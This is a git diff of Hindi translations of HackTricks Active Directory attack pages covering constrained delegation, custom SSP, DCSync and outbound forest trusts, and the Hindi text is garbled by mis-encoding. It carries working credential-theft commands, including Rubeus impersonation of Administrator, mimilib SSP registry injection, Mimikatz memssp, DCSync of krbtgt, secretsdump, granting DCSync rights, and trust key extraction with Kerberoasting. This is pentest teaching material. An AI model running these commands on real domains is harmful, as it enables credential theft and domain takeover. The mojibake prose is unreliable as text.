рд╣рдорд▓реЗ рдХреЛ рдмрд┐рдирд╛ рдкреВрд░реЗ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред** +> **рдмрд╕ рдЙрд╕ TGT рдЯрд┐рдХрдЯ (рдпрд╛ рд╣реИрд╢ рдХрд┐рдП рдЧрдП) рдХреЗ рд╕рд╛рде рдЖрдк рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдмрд┐рдирд╛ рдкреВрд░реЗ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред** + +- Step2: **рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╣реБрдП TGS рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ** ```bash:Using Rubeus -#Obtain a TGS of the Administrator user to self +# Obtain a TGS of the Administrator user to self .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator -#Obtain service TGS impersonating Administrator (CIFS) +# Obtain service TGS impersonating Administrator (CIFS) .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS #Impersonate Administrator on different service (HOST) diff --git a/src/windows-hardening/active-directory-methodology/custom-ssp.md b/src/windows-hardening/active-directory-methodology/custom-ssp.md index c7c9aea38..2b860403f 100644 --- a/src/windows-hardening/active-directory-methodology/custom-ssp.md +++ b/src/windows-hardening/active-directory-methodology/custom-ssp.md @@ -4,14 +4,14 @@ ### Custom SSP -[рдпрд╣рд╛рдБ рдЬрд╛рдиреЗрдВ рдХрд┐ SSP (рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рд╕рдкреЛрд░реНрдЯ рдкреНрд░реЛрд╡рд╛рдЗрдбрд░) рдХреНрдпрд╛ рд╣реИред](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -рдЖрдк **рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ SSP** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдорд╢реАрди рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЛ **рд╕реНрдкрд╖реНрдЯ рдкрд╛рда** рдореЗрдВ **рдХреИрдкреНрдЪрд░** рдХрд░ рд╕рдХреЗрдВред +[рдпрд╣рд╛рдБ рдЬрд╛рдиреЗрдВ рдХрд┐ SSP (Security Support Provider) рдХреНрдпрд╛ рд╣реИред](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ +рдЖрдк **рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ SSP** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдорд╢реАрди рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЛ **рд╕реНрдкрд╖реНрдЯ рдкрд╛рда** рдореЗрдВ **рдХреИрдкреНрдЪрд░** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред #### Mimilib рдЖрдк Mimikatz рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП `mimilib.dll` рдмрд╛рдЗрдирд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред **рдпрд╣ рд╕рднреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рд▓реЙрдЧ рдХрд░реЗрдЧрд╛ред**\ dll рдХреЛ `C:\Windows\System32\` рдореЗрдВ рдбрд╛рд▓реЗрдВ\ -рдореМрдЬреВрджрд╛ LSA рд╕реБрд░рдХреНрд╖рд╛ рдкреИрдХреЗрдЬреЛрдВ рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: +рдореМрдЬреВрджрд╛ LSA рд╕реБрд░рдХреНрд╖рд╛ рдкреИрдХреЗрдЬреЛрдВ рдХреА рдПрдХ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: ```bash:attacker@target PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" @@ -19,15 +19,15 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u ``` `mimilib.dll` рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд░реНрдерди рдкреНрд░рджрд╛рддрд╛ рд╕реВрдЪреА (рд╕реБрд░рдХреНрд╖рд╛ рдкреИрдХреЗрдЬ) рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ: -```powershell +```bash reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" ``` рдФрд░ рдПрдХ рд░рд┐рдмреВрдЯ рдХреЗ рдмрд╛рдж рд╕рднреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ `C:\Windows\System32\kiwissp.log` рдореЗрдВ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред #### рдореЗрдореЛрд░реА рдореЗрдВ -рдЖрдк рдЗрд╕реЗ рд╕реАрдзреЗ рдореЗрдореЛрд░реА рдореЗрдВ Mimikatz рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдереЛрдбрд╝рд╛ рдЕрд╕реНрдерд┐рд░/рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реИ): -```powershell +рдЖрдк рдЗрд╕реЗ рд╕реАрдзреЗ рдореЗрдореЛрд░реА рдореЗрдВ Mimikatz рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдереЛрдбрд╝рд╛ рдЕрд╕реНрдерд┐рд░/рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛): +```bash privilege::debug misc::memssp ``` diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md index 52098cf79..95ee7ae13 100644 --- a/src/windows-hardening/active-directory-methodology/dcsync.md +++ b/src/windows-hardening/active-directory-methodology/dcsync.md @@ -8,22 +8,22 @@ **DCSync рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдиреЛрдЯреНрд╕:** -- **DCSync рд╣рдорд▓рд╛ рдПрдХ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдиреНрдп рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реЛрдВ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреБрдирд░реБрддреНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреВрдЫрддрд╛ рд╣реИ** Directory Replication Service Remote Protocol (MS-DRSR) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдЪреВрдВрдХрд┐ MS-DRSR Active Directory рдХрд╛ рдПрдХ рдорд╛рдиреНрдп рдФрд░ рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдп рд╣реИ, рдЗрд╕реЗ рдмрдВрдж рдпрд╛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред +- **DCSync рд╣рдорд▓рд╛ рдПрдХ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрдиреНрдп рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реЛрдВ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреБрдирд░реБрддреНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреВрдЫрддрд╛ рд╣реИ** Directory Replication Service Remote Protocol (MS-DRSR) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдЪреВрдВрдХрд┐ MS-DRSR рдПрдХ рд╡реИрдз рдФрд░ рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдп рд╣реИ Active Directory рдХрд╛, рдЗрд╕реЗ рдмрдВрдж рдпрд╛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ **Domain Admins, Enterprise Admins, Administrators, рдФрд░ Domain Controllers** рд╕рдореВрд╣реЛрдВ рдХреЗ рдкрд╛рд╕ рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВред - рдпрджрд┐ рдХрд┐рд╕реА рдЦрд╛рддреЗ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдЙрд▓рдЯрдиреЗ рдпреЛрдЧреНрдп рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд╕рд╛рде рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИрдВ, рддреЛ Mimikatz рдореЗрдВ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб рд▓реМрдЯрд╛рдиреЗ рдХрд╛ рдПрдХ рд╡рд┐рдХрд▓реНрдк рдЙрдкрд▓рдмреНрдз рд╣реИред ### Enumeration рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХрд┐рд╕рдХреЗ рдкрд╛рд╕ рдпреЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ `powerview`: -```powershell +```bash Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')} ``` ### рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╢реЛрд╖рдг рдХрд░реЗрдВ -```powershell +```bash Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' ``` -### рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рд╢реЛрд╖рдг рдХрд░реЗрдВ -```powershell +### рджреВрд░ рд╕реЗ рд╢реЛрд╖рдг рдХрд░реЗрдВ +```bash secretsdump.py -just-dc :@ -outputfile dcsync_hashes [-just-dc-user ] #To get only of that user [-pwd-last-set] #To see when each account's password was last changed @@ -35,18 +35,18 @@ secretsdump.py -just-dc :@ -outputfile dcsync_hashes - рдПрдХ **Kerberos рдХреБрдВрдЬреА** рдХреЗ рд╕рд╛рде - рдПрдХ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде NTDS рд╕реЗ рдХрд┐рд╕реА рднреА рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рд╕рдореЗрдВ [**рдкреБрдирд░рд╛рд╡реГрддреНрдд рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) рд╕рдХреНрд╖рдо рд╣реИред рдЖрдк рдкреБрдирд░рд╛рд╡реГрддреНрдд рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ -```powershell +```bash Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol ``` ### рд╕реНрдерд┐рд░рддрд╛ рдпрджрд┐ рдЖрдк рдПрдХ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ рд╣реИрдВ, рддреЛ рдЖрдк `powerview` рдХреА рдорджрдж рд╕реЗ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдпрд╣ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ: -```powershell +```bash Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose ``` -рдлрд┐рд░, рдЖрдк **рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ 3 рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕реМрдВрдкреЗ рдЧрдП рдереЗ** рдЙрдиреНрд╣реЗрдВ (рдЖрдкрдХреЛ "ObjectType" рдлрд╝реАрд▓реНрдб рдХреЗ рдЕрдВрджрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдирд╛рдо рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП) рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рдЦреЛрдЬрдХрд░: -```powershell +рдлрд┐рд░, рдЖрдк **рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ 3 рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕реМрдВрдкреЗ рдЧрдП рдереЗ** рдпрд╛ рдирд╣реАрдВ, рдЙрдирдХреЗ рд▓рд┐рдП (рдЖрдкрдХреЛ "ObjectType" рдлрд╝реАрд▓реНрдб рдХреЗ рдЕрдВрджрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдирд╛рдо рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП) рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: +```bash Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"} ``` ### Mitigation @@ -54,7 +54,7 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG - Security Event ID 4662 (Audit Policy for object must be enabled) тАУ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ рдПрдХ рдСрдкрд░реЗрд╢рди рдХрд┐рдпрд╛ рдЧрдпрд╛ - Security Event ID 5136 (Audit Policy for object must be enabled) тАУ рдПрдХ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╕реЗрд╡рд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ - Security Event ID 4670 (Audit Policy for object must be enabled) тАУ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдмрджрд▓ рджреА рдЧрдИрдВ -- AD ACL Scanner - ACLs рдХреА рд░рд┐рдкреЛрд░реНрдЯ рдмрдирд╛рдиреЗ рдФрд░ рдЙрдирдХреА рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner) +- AD ACL Scanner - ACLs рдХреА рд░рд┐рдкреЛрд░реНрдЯ рдмрдирд╛рдиреЗ рдФрд░ рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner) ## References diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md index da7576de9..20fccea0f 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md @@ -2,12 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ **рдЖрдкрдХрд╛ рдбреЛрдореЗрди** рдХреБрдЫ **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рдХреЛ **рд╡рд┐рднрд┐рдиреНрди рдбреЛрдореЗрди** рд╕реЗ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдХреЛ **рд╡рд┐рд╢реНрд╡рд╛рд╕** рдХрд░ рд░рд╣рд╛ рд╣реИред +рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ **рдЖрдкрдХрд╛ рдбреЛрдореЗрди** рдХреБрдЫ **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рдХреЛ **рд╡рд┐рднрд┐рдиреНрди рдбреЛрдореЗрди** рдХреЗ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдХреЛ **рд╡рд┐рд╢реНрд╡рд╛рд╕** рдХрд░ рд░рд╣рд╛ рд╣реИред ## Enumeration ### Outbound Trust -```powershell +```bash # Notice Outbound trust Get-DomainTrust SourceName : root.local @@ -33,7 +33,7 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░реА рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм рджреЛ рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рдПрдХ рдЯреНрд░рд╕реНрдЯ рд╕рдВрдмрдВрдз рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдпрд╣рд╛рдБ рдбреЛрдореЗрди **A** рдФрд░ рдбреЛрдореЗрди **B** рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд╣рд╛рдБ рдбреЛрдореЗрди **B** рдЕрдкрдиреЗ рдЯреНрд░рд╕реНрдЯ рдХреЛ рдбреЛрдореЗрди **A** рддрдХ рдмрдврд╝рд╛рддрд╛ рд╣реИред рдЗрд╕ рд╕реЗрдЯрдЕрдк рдореЗрдВ, рдбреЛрдореЗрди **B** рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди **A** рдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЦрд╛рддрд╛ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рджреЛрдиреЛрдВ рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рднреВрдорд┐рдХрд╛ рдирд┐рднрд╛рддрд╛ рд╣реИред рдпрд╣ рдЦрд╛рддрд╛, рдЬреЛ рдбреЛрдореЗрди **B** рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ, рдбреЛрдореЗрди рдХреЗ рдмреАрдЪ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдБ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрд╣рд▓реВ рдпрд╣ рд╣реИ рдХрд┐ рдЗрд╕ рд╡рд┐рд╢реЗрд╖ рдЦрд╛рддреЗ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рд╣реИрд╢ рдбреЛрдореЗрди **A** рдореЗрдВ рдПрдХ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рд╕реЗ рдПрдХ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рд╣реИ: -```powershell +```bash Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local ``` рдпрд╣ рдирд┐рд╖реНрдХрд░реНрд╖рдг рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЦрд╛рддрд╛, рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рдХреЗ рдмрд╛рдж **$** рд╣реИ, рд╕рдХреНрд░рд┐рдп рд╣реИ рдФрд░ рдбреЛрдореЗрди **A** рдХреЗ "Domain Users" рд╕рдореВрд╣ рдХрд╛ рд╕рджрд╕реНрдп рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЗрд╕ рд╕рдореВрд╣ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рдорд┐рд▓рддреА рд╣реИрдВред рдпрд╣ рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдЗрд╕ рдЦрд╛рддреЗ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди **A** рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред @@ -44,11 +44,11 @@ Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.lo ```bash lsadump::trust /patch ``` -рдЗрд╕рдХреЗ рдмрд╛рдж, рдХреЛрдИ рдирд┐рдХрд╛рд▓реЗ рдЧрдП RC4 рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ `root.local\EXT$` рдХреЗ рд░реВрдк рдореЗрдВ `root.local` рдХреЗ рднреАрддрд░ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдПрдХ рдЕрдиреНрдп рдЙрдкрдХрд░рдг рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП: +рдЗрд╕рдХреЗ рдмрд╛рдж, рдХреЛрдИ рдирд┐рдХрд╛рд▓реЗ рдЧрдП RC4 рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ `root.local\EXT$` рдХреЗ рд░реВрдк рдореЗрдВ `root.local` рдХреЗ рднреАрддрд░ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдиреНрдп рдЙрдкрдХрд░рдг рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: ```bash .\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4: /dc:dc.root.local /ptt ``` -рдпрд╣ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЪрд░рдг `root.local` рдХреЗ рднреАрддрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдЦреЛрд▓рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП Kerberoast рд╣рдорд▓реЗ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд░рдирд╛: +рдпрд╣ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЪрд░рдг `root.local` рдХреЗ рднреАрддрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдЦреЛрд▓рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП Kerberoast рд╣рдорд▓реЗ рдХреЛ рдХрд░рдирд╛: ```bash .\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local ``` @@ -62,7 +62,7 @@ lsadump::trust /patch рдХрднреА-рдХрднреА рдЯреНрд░рд╕реНрдЯ рд╕рдВрдмрдВрдз рдмрдирд╛рддреЗ рд╕рдордп, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд╕реНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рдЯрд╛рдЗрдк рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рджрд░реНрд╢рди рдореЗрдВ, рдХреБрдВрдЬреА рдореВрд▓ рдЯреНрд░рд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИ рдФрд░ рдЗрд╕рд▓рд┐рдП рдорд╛рдирд╡-рдкрдардиреАрдп рд╣реИред рдЬреИрд╕реЗ-рдЬреИрд╕реЗ рдХреБрдВрдЬреА рдЪрдХреНрд░рд┐рдд рд╣реЛрддреА рд╣реИ (30 рджрд┐рди), рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдорд╛рдирд╡-рдкрдардиреАрдп рдирд╣реАрдВ рд╣реЛрдЧрд╛ рд▓реЗрдХрд┐рди рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ рдЕрднреА рднреА рдЙрдкрдпреЛрдЧреА рд░рд╣реЗрдЧрд╛ред 